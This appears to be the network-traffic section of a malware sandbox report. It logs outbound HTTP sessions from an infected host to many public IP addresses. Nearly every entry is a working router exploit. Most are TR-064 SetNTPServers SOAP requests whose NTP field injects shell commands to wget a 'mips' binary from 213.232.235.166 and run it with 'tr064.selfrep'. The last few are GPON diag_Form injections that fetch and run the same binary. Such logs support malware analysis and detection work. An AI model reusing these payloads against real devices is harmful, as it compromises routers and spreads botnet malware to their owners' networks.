Apr 15, 2024 08:53:11.335452080 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:11.504589081 CEST	113	IN	HTTP/1.1 400 Bad Request Date: Mon 15 Apr 2024 06:53:11 UTC Server: lighttpd Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
745	192.168.2.13	52062	174.26.220.214	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:11.502739906 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:11.668302059 CEST	113	IN	HTTP/1.1 400 Bad Request Date: Mon 15 Apr 2024 06:53:11 UTC Server: lighttpd Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
746	192.168.2.13	43792	181.229.6.49	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:12.414793015 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
747	192.168.2.13	59122	47.34.64.177	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:12.645035028 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
748	192.168.2.13	58346	181.164.67.9	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:12.710571051 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
749	192.168.2.13	59128	47.34.64.177	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:12.870903969 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
750	192.168.2.13	58352	181.164.67.9	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:13.006005049 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
751	192.168.2.13	37946	14.75.96.121	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:13.171149015 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
752	192.168.2.13	43120	125.65.125.29	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:13.567996025 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:25.856439114 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
753	192.168.2.13	36244	61.81.159.153	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:13.860640049 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
754	192.168.2.13	48982	183.102.2.117	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:13.865921021 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
755	192.168.2.13	43822	181.229.6.49	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:14.073278904 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
756	192.168.2.13	36266	61.81.159.153	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:14.154319048 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:15.648458004 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
757	192.168.2.13	49008	183.102.2.117	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:14.158138990 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:14.544420004 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
758	192.168.2.13	43844	181.229.6.49	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:14.361273050 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
759	192.168.2.13	37950	14.75.96.121	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:14.478759050 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
760	192.168.2.13	48844	121.150.239.182	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:14.766302109 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
761	192.168.2.13	55988	220.126.223.85	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:14.767174006 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:15.136420012 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
762	192.168.2.13	43186	125.65.125.29	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:14.961601019 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
763	192.168.2.13	48850	121.150.239.182	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:15.052294016 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
764	192.168.2.13	55994	220.126.223.85	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:15.058099031 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
765	192.168.2.13	37370	181.214.210.209	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:15.068356991 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:16.032490969 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
766	192.168.2.13	54888	14.63.150.128	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:15.167948961 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
